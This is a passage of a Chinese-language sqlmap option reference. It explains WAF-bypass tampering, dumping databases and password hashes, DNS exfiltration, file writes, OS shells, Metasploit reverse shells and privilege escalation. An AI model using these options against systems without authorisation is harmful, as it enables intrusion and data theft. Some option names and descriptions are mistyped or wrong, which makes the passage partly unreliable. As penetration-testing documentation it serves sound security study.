  167. 用法:python sqlmap.py 必须参数 --os="Windows"

    --invalid-bignum

  168. 使用大数字使参数失效,通常SQLmap会使用负数使参数失效
  169. 用法:python sqlmap.py 必须参数 --invalid-bignum

    --invalid-logical

  170. 使用逻辑使参数失效,如id=1 and 1=2
  171. 用法:python sqlmap.py 必须参数 --invalid-logical

    --invalid-string

  172. 使用随机字符使参数失效
  173. 用法:python sqlmap.py 必须参数 --invalid-string

    --no-cast

  174. 在提取数据库数据时,将所有结果转换为字符串,并且空格替换NULL结果(老版本MySql需要使用此参数)
  175. 用法:python sqlmap.py 必须参数 --no-cast

    --no-escape

  176. 不使用char替换字符串功能
  177. 出于混淆和避免出错的目的,如果payload使用单引号界定字符串,SQLmap使用char()编码逃避的方法替换字符串
  178. 用法:python sqlmap.py 必须参数 --no-escape

    --prefix

  179. 指定payload的闭合语句的前缀
  180. 用法:python sqlmp.py 必须参数 --prefix="前缀"

    --sufix

  181. 指定payload的闭合语句的后缀
  182. 用法:python sqlmap.py 必须参数 --sufix="后缀"

    --tamper

  183. 使用混淆脚本,用来绕过WAF/IPS/应用过滤层
  184. 用法:python sqlmap.py 必须参数 --tamper="脚本文件"

    探测参数

    自定义在SQL盲注时如何解析和比较HTTP相应页面的内容

    --level

  185. 指定检测等级(1~5,默认为1)
  186. 可以在sqlmap/xml/payloads文件内可以看到各个level发送的payload
  187. 各个level的检测数据

    1. 默认
    2. cookie
    3. user-agent
    4. referer
    5. host
  188. 用法:python sqlmap.py 必须参数 --level=3

    --risk

  189. 指定风险等级(1~3,默认为1),升高风险等级会增加数据被篡改的风险
  190. 各个风险等级检测类型

    1. 默认
    2. 基于时间的SQL注入
    3. 基于or的SQL注入
  191. 用法:python sqlmap.py 必须参数 --risk=2

    --string

  192. 在基于bool注入时,指定判断真假的字符串(常用于返回页面不固定时)
  193. 用法:python sqlmap.py 必须参数 --string="字符串"

    --not-string

  194. 在基于bool注入时,指定没出现的字符串判断真假,与--string相反
  195. 用法:python sqlmap.py 必须参数 --not-string="字符串"

    --regexp

  196. 在基于bool注入时,根据正则表达式来判断真假,与--not-string--string可以连用
  197. 用法:python sqlmap.py 必须参数 --regexp="正则表达式"

    --code

  198. 在基于bool注入时,通过指定HTTP返回码来判断真假
  199. 用法:python sqlmap.py 必须参数 --code=200

    --text-only

  200. 在bool注入时,通过文本内容判断真假
  201. 用法:python sqlmap.py 必须参数 --text-only

    --titles

  202. 在bool注入时,通过标题判断真假
  203. 用法:python sqlmap.py 必须参数 --titles

    技巧参数

    这些参数可以用来调整SQL注入的测试技术

    --technique

  204. 指定使用的SQL注入技术,默认为BEUSTQ
  205. 指定的技术如下:

    • B:bool盲注
    • E:报错注入
    • U:联合查询注入
    • S:堆叠注入
    • T:时间盲注
    • Q:内联查询注入
  206. 用法:python sqlmap.py 必须参数 --technique=BU

    --time-sec

  207. 在时间盲注中,指定判断的时间,单位为秒,默认为5
  208. 用法:python sqlmap.py 必要参数 --time-sec=3

    --union-cols

  209. 联合注入的尝试列数,随level增加最多支持50列,默认查询1-10列
  210. 用法:python sqlmap.py 必要参数 --time-cols 5-7

    --union-char

  211. 在联合注入中,默认使用的占列的值是NULL,但是有时候NULL会失效,所以需要手动指定一个其他的占列值。
  212. 用法:python sqlmap.py 必要参数 --union-char=1

    --union-from

  213. 在有些数据库中,必须指定一个有效且可访问的表,否则联合查询就会失败,所以必须使用该参数指定一个表
  214. 用法:python sqlmap.py 必须参数 --union-from=表名

    --dns-domain

  215. 如果控制了一台DNS服务器,则可以使用该命令做DNS泄露攻击,通过攻击,可以在DNS的访问日志里得到查询的数据
  216. 用法:python sqlmap.py 必须参数 --dns-domain
  217. 注意!DBMS中需要有可用的,能直接或间接引发DNS解析过程的程序,即用到UNC1,其中引发DNS解析过程的函数有:

    • MSSQL

      • master..xp_dirtree(用于获取所有文件夹的列表和给定文件内部的子文件夹)
      • master..xp_fileexit(用于确定一个特定的文件是否存在于硬盘)
      • master..xp_subdirs(用于得到给定的文件夹内的文件夹列表)
    • Oracle

      • GET_HOST_ADDRESS(用于检索特定主机的IP)
      • UTL_HTTP.REQUEST(从给定的地址检索到第1~2000字节的数据)
    • MySql

      • load_file(读取文件内容并将其作为字符串返回)
    • PostgreSQL

      • COPY(用于在文件系统的文件和表之间拷贝数据)

    --second-url

  218. 搜索二阶相应的结果页面的URL,即在一个页面注入,在另外一个页面显示,适合GET提交,POST提交需要下一个参数
  219. 用法:python sqlmap.py 必须参数 --second-url="另一个页面地址"

    --second-req

  220. 与上一个相同,只是从文件加载HTTP请求
  221. 用法:python sqlmap.py 必须参数 --second-req="请求的文件地址"

    指纹参数

    -f--fingerprint

  222. 获取更广泛的DBMS操作系统、架构、补丁等信息
  223. 用法:python sqlmap.py 必须参数 -f

    枚举参数

    下列这些选项可以用于枚举数据库的系统信息、表的结构和数据,此外还可以执行自定义的SQL语句

    -a--all

  224. 查找所有的信息,即枚举中所有的信息
  225. 用法:python sqlmap.py 必须参数 -a

    -b--banner

  226. 查询数据库的标识,即数据库类型与版本
  227. 用法:python sqlmap.py 必须参数 -b

    --current-user

  228. 查询数据库的当前用户
  229. 用法:python sqlmap.py 必须参数 --current-user

    --current-db

  230. 查询数据库中当前使用的数据库
  231. 用法:python sqlmap.py 必须参数 --current-db

    --hostname

  232. 查询数据库中当前的主机名
  233. 用法:python sqlmap.py 必须参数 --hostname

    --is-dba

  234. 检测当前的数据库用户是否为DBA(即数据库管理员)
  235. 用法:python sqlmap.py 必须参数 --is-dba

    --users

  236. 枚举所有用户
  237. 用法:python sqlmap.py 必须参数 --users

    --passwords

  238. 枚举所有用户名密码的哈希
  239. 用法:python sqlmap.py 必须参数 --passwords

    --privileges

  240. 枚举所有数据库用户的权限
  241. 用法:python sqlmap.py 必须参数 --privileges
  242. 枚举某一数据库用户权限,用法:python sqlmap.py 必须参数 --privileges -U username
  243. 枚举数据库当前用户权限,用法:python sqlmap.py 必须参数 --privileges -CU
  244. 如果是MSSQL,则只会列出用户是否为管理员而不是用户的具体权限

    --roles

  245. 枚举数据库中的用户角色
  246. 只要在Oracle数据库中可以用,其余数据库返回--privileges的数据
  247. 用法:python sqlmap.py 必须参数 --roles
  248. 其余用法同--privileges

    --dbs

  249. 枚举服务器中所有的数据库
  250. 用法:python sqlmap.py 必须参数 --dbs

    --tables

  251. 枚举数据库中的所有表名
  252. 用法:python sqlmap.py 必须参数 --tables

    --columns

  253. 枚举数据库中的所有列名
  254. 用法:python sqlmap.py 必须参数 --columns

    --schema

  255. 查询数据库架构,即每个列的类型,如:id是int类型,name是varchar(255)类型
  256. 用法:python sqlmap.py 必须参数 --schema

    --count

  257. 枚举每个表所包含的数据量
  258. 用法:python sqlmap.py 必须参数 --count

    --dump

  259. 查询指定范围的全部数据
  260. 用法:python sqlmap.py 必须参数 --dump 其他参数
  261. 该处的其他参数通常指-D-T-C-X-U--start--stopfirst--last--pivot-column--where,这些参数均在后面有相应介绍

    --dump-all

  262. 枚举数据库中全部数据
  263. 用法:python sqlmap.py 必须参数 --dump-all

    --search

  264. 搜索数据库、表、列的名称
  265. 用法:python sqlmap.py 必须参数 --search 其他参数
  266. 其他参数为-C-T-D,这些参数均在后面有相应介绍

    --comments

  267. 搜索数据库的备份
  268. 用法:python sqlmap.py 必须参数 --comments

    -D

  269. 指定枚举的数据库名
  270. 用法:python sqlmap.py 必须参数 -D 数据库名

    -T

  271. 指定枚举的表名
  272. 用法:pyton sqlmap.py 必须参数 -T 表名
  273. 通常情况下需先指定数据库

    -C

  274. 指定枚举的列名
  275. 用法:python sqlmap.py 必须参数 -C 列名
  276. 通常情况下需先指定数据库和表名

    -X

  277. 不枚举数据库中的某一列
  278. 用法:python sqlmap.py 必须参数 -X 标识符
  279. 如图:

    • 未使用-X
      未使用-X
    • 使用-X
      使用-X

    -U

  280. 指定用户名,常和--privileges一起使用
  281. 用法:python sqlmap.py 必须参数 --privileges -U 指定的用户名
  282. 其中,使用-CU表示当前账户

    --exclude-sysdbs

  283. -X类似,此为排除某个数据库
  284. 用法:python sqlmap.py 必须参数 --exclude-sysdbs 数据库名

    --pivot-colum

  285. 做数据透视用的,估计平时也很少用的上。因为可能自动选择的列不适合做数据透视,所以可以使用该参数强制指定一列。
  286. 用的:python sqlmap.py 必须参数 --pivot-cloum

    --where

  287. 使用-dump下载数据时,可以使用该参数限制条件
  288. 用法:python sqlmap.py 必须参数 --where=限制条件

    --start

  289. 设置一个起始位置,在下载表时,从第几行开始
  290. 用法:python sqlmap.py 必须参数 --start=3

    -stop

  291. 设置一个结束位置,作用同上
  292. 用法:python sqlmap.py 必须参数 --stop=4

    --first--last

  293. 此参数仅使用SQL盲注
  294. 根据官方的说法时可以将某一列的字符转储到另一列,但是根据我的尝试并没有成功。
  295. 用法:python sqlmap.py 必须参数 --first=2 --last=4

    --sql-query

  296. 执行SQL语句
  297. 用法:python sqlmap.py 必须参数 --sql-query=SQL语句

    --sql-shell

  298. 执行SQL的shell
  299. 用法:python sqlmap.py 必须参数 --sql-shell=shell语句

    --sql-file

  300. 从给定的文件中读取SQL语句来执行
  301. 用法:python sqlmap.py 必须参数 --sql-file=文件目录

    暴力破解参数

    下列选项可以用于暴力破解

    --common-tables

  302. 检查记录信息的公共表。
  303. 用法:python sqlmap.py 必须参数 --common-tables
  304. 在以下这些情况中,不能使用-tables检索数据库的列名,需要使用该参数:

    • MySQL版本小于5.0
    • 数据库是Access
    • 会话用户对数据库的系统表没有读取权限

      --common-columns

  305. 检查公共的列。
  306. 用法:pyhton sqlmap.py 必须参数 --common-columns
  307. 在以下这些情况中,不能使用-columns检索数据库的列名,需要使用该参数:

    • MySQL版本小于5.0
    • 数据库是Access
    • 会话用户对数据库的系统表没有读取权限

      自定义函数注入参数

      这些选项可以创建自定义的函数用来注入

      --udf-inject

  308. 通过编译MySQL、PostgreSQL的共享库、DLL和共享对象来注入自定义函数(UDFs)
  309. 用法:python sqlmap.py 必须参数 --udf-inject=文件路径
  310. 用法:python sqlmap.py 必须参数 --shared-lib=文件路径
  311. 仅适用于MySQL和PostgreSQL
  312. 详情参见链接

    文件系统访问参数

    这些选项可用于访问数据库系统中的文件

    --file-read

  313. 从数据库系统中读取文件
  314. 用法:python sqlmap.py 必须参数 --file-read=文件路径

    --file-write

  315. 对数据库系统写入文件
  316. 用法:python sqlmap.py 必须参数 --file-write=文件路径

    --file-dest

  317. 写入文件到数据库系统的绝对路径
  318. 用法:python sqlmap.py 必须参数 --file-dest=文件路径

    操作系统访问参数

    这些选项可以用于访问后端数据库管理的操作系统

    --os-cmd

  319. 执行系统命令
  320. 用法:python sqlmap.py 必须参数 --os-cmd=命令

    --os-shell

  321. 创建一个shell
  322. 用法:python sqlmap.py 必须参数 --os-shell

    --os-pwn

  323. 可以用来反弹msf下的shell和vnc
  324. 用法:python sqlmap.py 必须参数 --os-pwn

    --os-smbrelay

  325. 获取OOB shell,反弹msf下的shell和vnc
  326. 用法:python sqlmap.py 必须参数 --os-smbrelay

    --os-bof

  327. 利用缓冲区漏洞
  328. 用法:python sqlmap.py 必须参数 --os-bof

    --priv-esc

  329. 自动提权
  330. 用法:python sqlmap.py 必须参数 --priv-esc

    --msf-path

  331. 输入本地的msf路径
  332. 用法:python sqlmap.py 必须参数 --msf-path=本地msf路径

    --tmp-path

  333. 输入远程临时文件目录的绝对路径。
  334. 用法:python sqlmap.py 必须参数 --tmp-path=临时文件绝对路径

    Windows注册表访问参数

    这些选项可以用于访问使用Windows系统的数据库中Windows注册表
    前三个参数必须选择一个,后四个参数任选

    --reg-read

  335. 读取Windows注册表
  336. 用法:python sqlmap.py 必须参数 --reg-read

    reg-add

  337. 写入一个Windows注册表
  338. 用法:python sqlmap.py 必须参数 --reg-add

    --reg-del

  339. 删除一个Windows注册表
  340. 用法:python sqlmap.py 必须参数 --reg-del

    --reg-key

  341. 表示Windows注册表的key值
  342. 用法:python sqlmap.py 必须参数 前三个参数 --reg-key=key值

    --reg-value

  343. 表示注册表值
  344. 用法:python sqlmap.py 必须参数 前三个参数 --reg-value=值

    --reg-data

  345. 表示注册表数据
  346. 用法:python sqlmap.py 必须参数 前三个参数 --reg-data=数据

    --reg-type

  347. 表示注册表类型
  348. 用法:python sqlmap.py 必须参数 前三个参数 --reg-type=类型

    其他参数1

    这些选项可以用于设置一些常规工作参数

    -s

  349. 从一个.sqlite文件中加载session
  350. 用法:python sqlmap.py 必须参数 -s SESSION文件

    -t

  351. 将所有HTTP流量记录到文本文件中
  352. 用法:python sqlmap.py 必须参数 -t 文本文件保存位置

    --answers

  353. 设置预设答案
  354. 用法:python sqlmap.py 必须参数 --answers=答案
  355. 在执行sqlmap可能会多次询问选择,所以可以提前设置

    --base64

  356. 设置包含base64数据编码的数据
  357. 用法:python sqlmap.py 必须参数 --base64=需要base64编码的HTTP参数

    --batch

  358. 永远使用默认设置,不询问用户
  359. 用法:python sqlmap.py 必须参数 --batch

    --binary-fields

  360. 如果表中具有储存的二进制值的列,可以使用该参数进行正确的处理,所有的这些字段将被检索,并用十六进制显示。
  361. 用法:python sqlmap.py 必须参数 --binary-fields=使用二进制的列

    --check-internet

  362. 在进行注入前,首先检测互联网是否可以访问
  363. 用法:python sqlmap.py 必须参数 --check-internet

    --crawl

  364. 从目标网址开始抓取网站的深度
  365. 用法:python sqlmap.py 必须参数 --crawl=深度层数

    --crawl-exclude

  366. 使用正则表达式排除不需要爬取的网页
  367. 用法:python sqlmap.py 必须参数 --crawl-exclude=正则表达式

    --csv-del

  368. 设置CSV格式的分隔符,默认使用逗号作为分隔符
  369. 用法:python sqlmap.py 必须参数 --csv-del=","

    --charset

  370. 设置盲注的字符集
  371. 用法:python sqlmap.py 必须参数 --charset=字符集
  372. 在基于布尔和时间的盲注SQL注入中,用户可以强制使用自定义字符集来加快数据检索过程。

    --dump-format

  373. 设置转储数据格式,默认为CSV,可选HTML、SQLite
  374. 用法:python sqlmap.py 必须参数 --dump-format=html或者sqlite或者csv

    --encoding

  375. 设置编码,如:GBK或者utf-8
  376. 用法:python sqlmap.py 必须参数 --encoding=GBK

    --eta

  377. 显示每个输出的估计时间
  378. 用法:python sqlmap.py 必须参数 --eta

    --flush-session

  379. 刷新当前目标的session
  380. 用法:pyhton sqlmap.py 必须参数 --flush-session

    --forms

  381. 解析在目标URL中存在的表单,通常这些表单在HTML中都是用<form><input>标记的
  382. 用法:python sqlmap.py 必须参数 --forms

    --fresh-queries

  383. 忽略储存在session中的查询结果,通过该参数,可以保持session保持不变。
  384. 用法:python sqlmap.py 必须参数 --fresh-queries

    --har

  385. 将所有的HTTP流量记录到一个har文件中
  386. 用法:python sqlmap.py 必须参数 --har

    --hex

  387. 在数据检索期间使用十六进制转换
  388. 用法:python sqlmap.py 必须参数 --hex

    --output-dir

  389. 自定义输出目录
  390. 用法:pyhton sqlmap.py 必须参数 --output-dir=输出目录路径

    --parse-errors

  391. 解析错误解析,并显示来自数据库的错误消息
  392. 用法:python sqlmap.py 必须参数 --parse-errors

    --preprocess

  393. 使用给定的脚本对请求数据进行预处理
  394. 用法:python sqlmap.py 必须参数 --preprocess=脚本路径
  395. 使用该参数可以在发送请求前对请求数据使用自定义脚本,例如将参数附加到POST请求中。

    --postprocess

  396. 使用给定的脚本对响应数据进行预处理
  397. 用法:python sqlmap.py 必须参数 --postprocess=脚本路径
  398. 使用该参数可以在收到响应后对响应数据使用自定义脚本,例如将所有小写字符转换为大写

    --repair

  399. 修复具有未知字符标记的项
  400. 用法:python sqlmap.py 必须参数 --repair

    --save

  401. 保存现在的选项到ini配置文件中
  402. 用法:pyhton sqlmap.py 必须参数 --save=配置文件.conf
  403. 可以使用-c来读取这些ini配置文件

    --scope

  404. 使用正则表达式从burp的日志中过滤所需要的主机
  405. 用法:python sqlmap.py 必须参数 --scope="正则表达式"
  406. 例如:

    • python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"

      --test-filter

  407. 通过某些有效载荷或标题进行测试
  408. 用法:python sqlmap.py 必须参数 --test-filter=有效载荷或标题
  409. 使用包含某个关键词的payload进行检测

    --test-skip

  410. 跳过某些有效载荷或标题进行测试
  411. 用法:python sqlmap.py 必须参数 --test-skip=想跳过的有效载荷或标题

    --update

  412. 升级SQLmap
  413. 用法:python sqlmap.py --update

    其他参数2

    -z

  414. 助记符,只要能确定唯一的参数,那么就可以缩写参数
  415. 用法:python sqlmap.py 必须参数 -z "缩写参数"
  416. 例子:python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=\1",其中,bat--batchrandomarandom-agentignignore-proxytec-BEU--technique=BEU

    --alert

  417. 当发现SQL注入后,运行本机的CMD命令
  418. 用法:python sqlmap.py 必须参数 --alert "命令"
  419. 只在Linux环境下成功过

    --beep

  420. 当发现SQL注入后,蜂鸣器报警
  421. 用法:python sqlmap.py 必须参数 --beep

    --cleanup

  422. 从SQLmap创建的临时表和自定义函数
  423. 常用于测试结束后
  424. 用法:python sqlmap.py 必须参数 --cleanup

    --dependencies

  425. 检查缺少的SQLmap依赖的第三方库
  426. 常用于检测SQLmap必须的第三方依赖python库
  427. 用法:python sqlmap.py --dependencies

    --disable-coloring

  428. 关闭彩色输出
  429. 用法:python sqlmap.py --disable-coloring

    --gpage

  430. 指定来自某一页码的Google dork结果,常与-g一起使用
  431. 用法:python sqlmap.py -g 参数 --gpage=12

    --identify-waf

  432. 识别WAF、IPS、IDS等
  433. 用法:python sqlmap.py 必须参数 --identity-waf

    --list-tampers

  434. 列出所有本地绕WAF的规则
  435. 用法:python sqlmap.py --list-tampers

    --mobile

  436. 模拟智能手机的UA
  437. 用法:python sqlmap.py 必须参数 --mobile

    --offline

  438. 在脱机模式下运行,只在当前或以前的数据,不会对服务端进行连接
  439. 用法:python sqlmap.py 必须参数 --offline

    --purge

  440. 安全删除SQLmap数据目录中的所有内容,即删除本地SQLmap测试的所有数据和历史记录
  441. 用法:python sqlmap.py --purge
  442. 安全删除意味着对该目录进行随机数据覆盖,破坏数据,防止恢复

    --skip-waf

  443. 跳过WAF、IPS、IDS的扫描检测
  444. 用法:pyhton sqlmap.py 必须参数 --skip-waf

    --smart

  445. 如果只是为了找出批量检测中的SQL注入,使用该参数进行启发式扫描,只有让数据库报错的参数才会进一步测试,其余跳过
  446. 常与-m一起使用
  447. 用法:python sqlmap.py -m 参数 --smart

    --sqlmap-shell

  448. 使用该参数,可以打开一个交互式的SQLmap SHELL,支持历史记录
  449. 用法:python sqlmap.py --sqlmap-shell

    --tmp-dir

  450. 更改本地临时文件储存目录
  451. 用法:python sqlmap.py --tmp-dir=本地目录

    --web-root

  452. 指定Web服务器的文档根目录
  453. 用法:python sqlmap.py 必须参数 --web-root="根目录绝对路径"

    --wizard

  454. 面向初学者的简单向导界面
  455. 用法:python sqlmap.py --wizard
  456. 该参数使用简单的工作流程,问题尽可能的少,只要输入了URL,那么在工作流结束时,也会设置一个正确的SQLmap运行环境

  1. UNC只有Windows系统有
❌